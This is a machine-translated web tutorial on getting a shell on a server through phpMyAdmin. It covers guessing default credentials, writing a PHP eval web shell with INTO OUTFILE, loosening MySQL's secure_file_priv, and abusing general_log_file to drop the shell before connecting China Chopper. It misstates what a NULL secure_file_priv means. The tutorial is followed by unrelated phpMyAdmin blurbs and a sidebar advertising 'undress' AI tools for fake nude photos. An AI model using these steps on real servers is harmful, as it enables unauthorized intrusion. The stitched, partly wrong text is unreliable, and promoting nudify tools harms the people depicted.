The following is the tutorial column of phpmyadmin to introduce you to PhpMyAdmin background getshell (penetration test). I hope it will be helpful to friends in need!
PhpMyAdmin Introduction
PhpMyAdmin is based on PHP and structured in Web-Base. The MySQL database management tool on the website host allows administrators to use the Web interface to manage the MySQL database. This web interface can be a better way to input complex SQL syntax in a simple way, especially when it comes to importing and exporting large amounts of data.
After collecting and detecting the target information, when it is found that the phpmyadmin directory exists (try: http://ip:port/phpmyadmin/
), then After entering the management background through a weak password (, you can directly try the account root password root) or brute force cracking, there are many ways to getshell.
into outfile export Trojan
If you want to insert a Trojan inside the website, the premise is that you have to know the absolute path of the website. There are many methods, such as obtaining the path by reporting an error, and passing phpinfo.php and so on (please refer to another blog post: https://blog.csdn.net/weixin_39190897/article/details/99078864).
The most convenient way is to use select @@basedir;
to check directly (but sometimes you can’t find it out, you can only find other methods):
According to the above feedback, we can see that the location of MySQL is in the D:\soft\phpStudy\MySQL\
directory.
After obtaining the website path, you can attempt to upload the Trojan. The most commonly used method is to write a sentence of Trojan directly on the root directory of the website through into outfile
:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';
But in the new version In mysql, this sentence did not run successfully.
Mysql new features secure_file_priv
will have an impact on reading and writing files. This parameter is used to limit import and export. We can use the show global variables like '%secure%';
command to view this parameter:
When secure_file_priv
is NULL, it means that Mysql is not restricted Import and export are allowed, so an error occurs. To make the statement export successfully, you need to modify the my.ini
file in the Mysql folder and add secure_file_priv =""
to [mysqld]:
When the value of secure_file_priv
has no specific value, it means that there is no restriction on the import|export of mysqld, and the export command can be executed at this time.
Using Mysql log files
Mysql version 5.0 and above will create log files, and you can also getshell by modifying the global variables of the log. But you must also have read and write permissions on the generated logs. (Note: The personal test on Linux was unsuccessful due to permission issues). First, let’s introduce two MySQL global variables: general_log
and general_log file
.
- general log refers to the log saving status, ON means open, OFF means closed;
- general log file refers to the log save path.
Command to view log status: show variables like '%general%';
## In the above configuration, when general is turned on,
The executed sql statements will appear in the WIN-30DFNC8L78A.log file
.
Then, if the value of general_log_file
is modified, the executed sql statement will be generated correspondingly, and then getshell will be generated.
Correspondingly, the xxx.php file will be generated
Write a sentence Trojan into the xxx.php file: SELECT '<?php eval ($_POST["cmd"]);?>'
Then you can see the Trojan horse statements recorded in the log file: Finally, China Chopper connects, getshell :
The above is the detailed content of PhpMyAdmin background getshell (penetration test). For more information, please follow other related articles on the PHP Chinese website!

phpMyAdmin manages MySQL databases by generating and executing SQL statements. 1. The user operates through the web interface, 2.phpMyAdmin generates SQL statements, 3. Sends to the MySQL server for execution, 4. Returns the result and displays it in the browser.

phpMyAdmin is a web-based MySQL database management tool that allows users to manage databases through a graphical user interface (GUI). 1. It interacts with the MySQL database through PHP scripts, converts user operations into SQL queries and renders the results. 2. Basic usage includes creating databases and tables, such as creating databases named 'my_database' and 'users' tables. 3. Advanced usage supports complex queries and user permission management, such as finding users with specific user names. 4. Common error debugging techniques include checking SQL syntax, managing permissions, and viewing logs. 5. Performance optimization suggestions include index optimization, query optimization and ensuring security.

phpMyAdmin simplifies SQL operations through a graphical interface and improves database management efficiency. 1) Provide an intuitive GUI without directly writing SQL statements; 2) Interact with MySQL through PHP scripts to transparently handle complex operations; 3) Support basic operations such as creating tables and advanced functions such as data export. Pay attention to permissions and SQL syntax errors when using it, and optimize queries, regular backups and ensure security settings.

Beginners can learn SQL and phpMyAdmin from scratch. 1) Create database and tables: Create a new database in phpMyAdmin and create tables using SQL commands. 2) Execute basic query: Use SELECT statement to query data from the table. 3) Optimization and best practices: Create indexes, avoid SELECT*, use transactions, and regularly back up databases.

MySQL and phpMyAdmin are powerful database management tools. 1.MySQL is an open source relational database management system, and phpMyAdmin is a MySQL management tool based on the Web. 2.MySQL works through the client-server model, and phpMyAdmin simplifies database operations. 3. Basic usage includes creating tables and data operations, and advanced usage involves stored procedures and triggers. 4. Common errors include SQL syntax errors, permission issues and performance bottlenecks. 5. Optimization techniques include reasonable use of indexes, optimized query, regular maintenance and backup and recovery.

phpMyAdmin implements the operation of the database through SQL commands. 1) phpMyAdmin communicates with the database server through PHP scripts, generates and executes SQL commands. 2) Users can enter SQL commands in the SQL editor for query and complex operations. 3) Performance optimization suggestions include optimizing SQL queries, creating indexes and using pagination. 4) Best practices include regular backups, ensuring security and using version control.

phpMyAdmin improves database productivity through an intuitive web interface: 1. Simplify the creation and management of databases and tables; 2. Support complex SQL queries and data operations; 3. Provide relationship view functions to manage table relationships; 4. Optimize performance and best practices to improve efficiency.

phpMyAdmin is a web-based MySQL database management tool. 1. It supports basic CRUD operations and advanced features such as database design and performance optimization. 2. Run through the web server, accept user input and convert it to MySQL commands. 3. The basic usage includes creating a database, and the advanced usage supports query optimization. 4. Common errors such as insufficient permissions can be solved by checking user permissions. 5. Performance optimization includes index optimization, query optimization and database design.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

WebStorm Mac version
Useful JavaScript development tools

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

MinGW - Minimalist GNU for Windows
This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.